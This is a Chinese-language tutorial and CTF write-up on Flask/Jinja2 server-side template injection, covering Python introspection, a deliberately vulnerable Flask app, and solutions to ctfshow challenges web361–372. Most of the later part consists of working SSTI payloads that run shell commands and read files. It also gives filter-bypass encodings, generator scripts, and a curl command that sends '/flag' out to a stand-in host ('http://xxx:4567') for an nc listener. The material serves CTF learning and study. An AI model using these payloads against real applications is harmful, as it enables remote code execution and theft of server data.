SSTI简介

ssti漏洞成因

ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本文着重对flask模板注入进行浅析。

文章

jinja官方文档

flask ssti从0到1

ssti各种绕过

介绍用法

  1. __class__ 类的一个内置属性,表示实例对象的类。
  2. __base__ 类型对象的直接基类
  3. __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
  4. __mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
  5. __subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
  6. __init__ 初始化类,返回的类型是function
  7. __globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
  8. __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__
  9. __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
  10. __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
  11. __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins____builtin__的区别就不放了,百度都有。
  12. __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
  13. __str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
  14. url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
  15. get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
  16. lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
  17. current_app 应用上下文,一个全局变量。
  18. request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
  19. request.args.x1 get传参
  20. request.values.x1 所有参数
  21. request.cookies cookies参数
  22. request.headers 请求头参数
  23. request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencodedmultipart/form-data)
  24. request.data post传参 (Content-Type:a/b)
  25. request.json postjson (Content-Type: application/json)
  26. config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
  27. g {{g}}得到<flask.g of 'flask_ssti'>

模板引擎

首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。

前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。

让我们用例子来简析模板渲染。

<html>
<div>{$what}</div>
</html>

我们想要呈现在每个用户面前自己的名字。但是{$what}我们不知道用户名字是什么,用一些url或者cookie包含的信息,渲染到what变量里,呈现给用户的为

<html>
<div>张三</div>
</html>

当然这只是最简单的示例,一般来说,至少会提供分支,迭代。还有一些内置函数。

什么是服务端模板注入

通过模板,我们可以通过输入转换成特定的HTML文件,比如一些博客页面,登陆的时候可能会返回 hi,张三。这个时候张三可能就是通过你的身份信息而渲染成html返回到页面。通过Twig php模板引擎来做示例。

$output = $twig->render( $_GET[‘custom_email’] , array(“first_name” => $user.first_name) );

可能你发现了它存在XSS漏洞,直接输入XSS代码便会弹窗,这没错,但是仔细观察,其他由于代码不规范他还存在着更为严重的ssti漏洞,假设我们的
url:xx.xx.xx/?custom_email={{7*7}}
将会返回49

我们继续custom_email={{self}}

返回 f

是的,在{{}}里,他将我们的代码进行了执行。服务器将我们的数据经过引擎解析的时候,进行了执行,模板注入与sql注入成因有点相似,都是信任了用户的输入,将不可靠的用户输入不经过滤直接进行了执行,用户插入了恶意代码同样也会执行。接下来我们会讲到重点。敲黑板。

from flask import Flask
app = Flask(__name__)
@app route('/') #路由
def hello_world();
    return 'Hello World!'
if __name__='__main__':
    app.run()

模板渲染

render_template()方法来渲染模板

from flask import render_template

@app.route('/hello/')
@app.route('/hello/<name>')
def hello(name=None):
        return render_template('hello.html', name=name)//我们hello.html模板未创建所以这段代码暂时供观赏,不妨往下继续看
├── app.py  
├── static  
│   └── style.css  
└── templates  
    └── index.html
我们写一个index.html文件写templates文件夹中。

<html>
  <head>
    <title>{{title}} - 小猪佩奇</title>
  </head>
 <body>
      <h1>Hello, {{user.name}}!</h1>
  </body>
</html>
我们在app.py文件里进行渲染。

@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
   user = {'name': '小猪佩奇'}#传入一个字典数组
   return render_template("index.html",title='Home',user=user)

flask实战

此时我们环境已经搭建好了,可以进行更深一步的讲解了,以上好像我们讲解使用了php代码为啥题目是flask呢,没关系我们现在进入重点!!!—》》flask/jinja2模版注入

Flask是一个使用Python编写的轻量级web应用框架,其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2。这里我们提前给出漏洞代码。访问http://127.0.0.1:5000/test 即可

from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string

app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.url)

    return render_template_string(template)

if __name__ == '__main__':
    app.debug = True
    app.run()

在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。我们从这段话出发,假定你已经知道ssti漏洞了,但是完全没学过ssti代码怎么写,接下来你可能会学到一点废话。

我们在pycharm中运行代码

print("".__class__)

返回了,对于一个空字符串他已经打印了str类型,在python中,每个类都有一个bases属性,列出其基类。现在我们写代码。

print("".__class__.__bases__)

打印返回(,),我们已经找到了他的基类object,而我们想要寻找object类的不仅仅只有bases,同样可以使用mromro给出了method resolution order,即解析方法调用的顺序。我们实例打印一下mro。

print("".__class__.__mro__)

可以看到返回了(, ),同样可以找到object类,正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势。正如上面的解释,mro返回了解析方法调用的顺序,将会打印两个。在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。我们这里只举例最简单的。接下来我们增加代码。接下来我们使用subclasses,subclasses() 这个方法,这个方法返回的是这个类的子类的集合,也就是object类的子类的集合。

print("".__class__.__bases__[0].__subclasses__())

python 3.6 版本下的object类下的方法集合。这里要记住一点2.7和3.6版本返回的子类不是一样的,但是2.7有的3.6大部分都有。需要自己寻找合适的标号来调用接下来我将进一步解释。打印如下:

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'functools.partialmethod'>, <class 'enum.auto'>, <enum 'Enum'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_sre.SRE_Pattern'>, <class '_sre.SRE_Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_winapi.Overlapped'>, <class 'subprocess.STARTUPINFO'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

接下来就是我们需要找到合适的类,然后从合适的类中寻找我们需要的方法。这里开始我们不再用pycharm打印了,直接利用上面我们已经搭建好的漏洞环境来进行测试。通过我们在如上这么多类中一个一个查找,找到我们可利用的类,这里举例一种。,os命令相信你看到就感觉很亲切。我们正是要从这个类中寻找我们可利用的方法,通过大概猜测找到是第119个类,0也对应一个类,所以这里写[118]。

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118]}}
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__}}

此时我们可以在网页上看到各种各样的参数方法函数。我们找其中一个可利用的function popen,在python2中可找file读取文件,很多可利用方法,详情可百度了解下。

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()}}

ctf中的一些绕过tips

没什么系统思路。就是不断挖掘类研究官方文档以及各种能够利用的姿势。这里从最简单的绕过说起。

1.过滤[]等括号

使用gititem绕过。如原poc {{"".__class__.__bases__[0]}}

绕过{{"".__class__.__bases__.__getitem__(0)}}

2.过滤了subclasses,拼凑法

原poc{{"".__**class__**.__**bases__**[0].__**subclasses__**()}}

绕过 {{"".__**class__**.__**bases__**[0]['__**subcla'+'__sses__**'}}

3.过滤class

使用session

poc {{session['__**cla'+'ss__**'].__**bases__**[0].__**bases__**[0].**__bases__**[0].**__bases__**[0].**__subclasses__**()[118]}}

多个bases[0]是因为一直在向上找object类。使用mro就会很方便

{{session['__cla'+'ss__'].__mro__[12]}}

或者

request['__cl'+'ass__'].__mro__[12]}}

4.timeit姿势

可以学习一下 2017 swpu-ctf的一道沙盒python题,

这里不详说了,博大精深,我只意会一二。

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

import platform
print platform.popen('dir').read()

5.收藏的一些poc

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

还有就可以参考一下P师傅的 https://p0sec.net/index.php/archives/120/

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('o'+'s').popen('ls').read()") }}{% endif %}{% endfor %}

web361

?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web362

?name={{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")}}

__builtins__返回内置函数 eval通常用于导入os模块

web363

过滤了单双引号 用request.args绕过

?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.x1](request.args.x2).read()}}&x1=popen&x2=cat /flag

web364

args被过滤 可以用 request.cookies
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}} cookie传值 Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

web365

过滤了[] 引号
?name={%set+chr=().__class__.__bases__.__getitem__(0).__subclasses__(). __getitem__(80).__init__.__globals__.__builtins__.chr%}%7B%7B().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(chr(112)%2Bchr(111)%2Bchr(112)%2Bchr(101)%2Bchr(110))(chr(99)%2Bchr(97)%2Bchr(116)%2Bchr(32)%2Bchr(47)%2Bchr(102)%2Bchr(108)%2Bchr(97)%2Bchr(103)).read()}}
step 1
利用
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__. __builtins__.chr}}
来确定chr函数的位置
{%set+chr=().__class__.__bases__.__getitem__(0).__subclasses__(). __getitem__(80).__init__.__globals__.__builtins__.chr%}

web366-367

过滤了 利用attr绕过 ()|attr(“class“) == ().class
`/?name={{(a|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}``x1=
init;x2=globals;x3=getitem;x4=builtins;x5=import__(‘os’).popen(‘ls /‘).read()`

web368

过滤了 {{利用{%绕过
{% print((abc|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5))%}
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5= __import__('os').popen('cat /flag').read()

web369

过滤了request
利用 dict() | join 拼接键名 获取字符
eg {% set pop=dict(po=a,p=a) | join %}得到pop
1.png
yu师傅

http://ec6b99bb-953a-4e28-8962-084bda49c739.chall.ctf.show/
?name=
{% set po=dict(po=a,p=a)|join%}      # dict()|join 拼接键名的方式,此处得到变量po=pop
{% set a=(()|select|string|list)|attr(po)(24)%}        #通过pop(24)选择到“_”下划线并赋值给a
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}        #ini=__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}        #glo=__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}        #geti=__getitem__
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}        #built=__builtins__
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}        #x=q.__init__.__globals__.__getitem__('__builtins__')
{% set chr=x.chr%}                                        #chr=x.chr 选择到了chr函数,chr=<built-in function chr>
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}        #结合ASCII和chr函数构造。file=/flag
{%print(x.open(file).read())%}        #利用open函数读取

()|select|string

Filters a sequence of objects by applying a test to each object, and only selecting the objects with the test succeeding.
If no test is specified, each object will be evaluated as a boolean.
通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。
如果没有指定测试,则每个对象都将被计算为布尔值

Returns a list of unique items from the given iterable.
()|select|string
结果如下
<generator object select_or_reject at 0x0000022717FF33C0>

list可转换成列表
2.png
获取chr方法

"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr  (x为任意值)

web370

过滤了[0-9]
可以利用length或者count 来构造数字

{% set one=(dict(c=z)|join|length) %}
{% set two=(dict(cc=z)|join|count) %}
?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}
http://c8f74fd3-a05a-477c-bb97-10325b9ce77d.chall.ctf.show?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}

cmd后面的内容由下面的代码生成

def aaa(t):
    t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
    return t
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
    t=''
    for i in range(len(s)):
        if i<len(s)-1:
            t+='chr('+aaa(str(ord(s[i])))+')%2b'
        else:
            t+='chr('+aaa(str(ord(s[i])))+')'
    return t
print(ccchr(s))

yu师傅脚本

import requests
cmd='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def fun1(s):
    t=[]
    for i in range(len(s)):
        t.append(ord(s[i]))
    k=''
    t=list(set(t))
    for i in t:
        k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'
    return k
def fun2(s):
    t=[]
    for i in range(len(s)):
        t.append(ord(s[i]))
    t=list(set(t))
    k=''
    for i in range(len(s)):
        if i<len(s)-1:
            k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'
        else:
            k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'
    return k    
url ='http://68f8cbd4-f452-4d69-b382-81eafed22f3f.chall.ctf.show/?name='+fun1(cmd)+'''
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd='''+fun2(cmd)+'''
%}
{%if x.eval(cmd)%}
abc
{%endif%}
'''
print(url)

web371

过滤了print

http://c8f74fd3-a05a-477c-bb97-10325b9ce77d.chall.ctf.show?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}

cmd后面的内容由下面的代码生成

def aaa(t):
    t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
    return t
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
    t=''
    for i in range(len(s)):
        if i<len(s)-1:
            t+='chr('+aaa(str(ord(s[i])))+')%2b'
        else:
            t+='chr('+aaa(str(ord(s[i])))+')'
    return t
print(ccchr(s))

nc监听 即可
3.png

web372

过滤了count,可以用length替换

跟大佬交换了思路学到了可以用全角数字代替正常数字,大家可以自行探索了。。。。。。

半角转全角代码

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)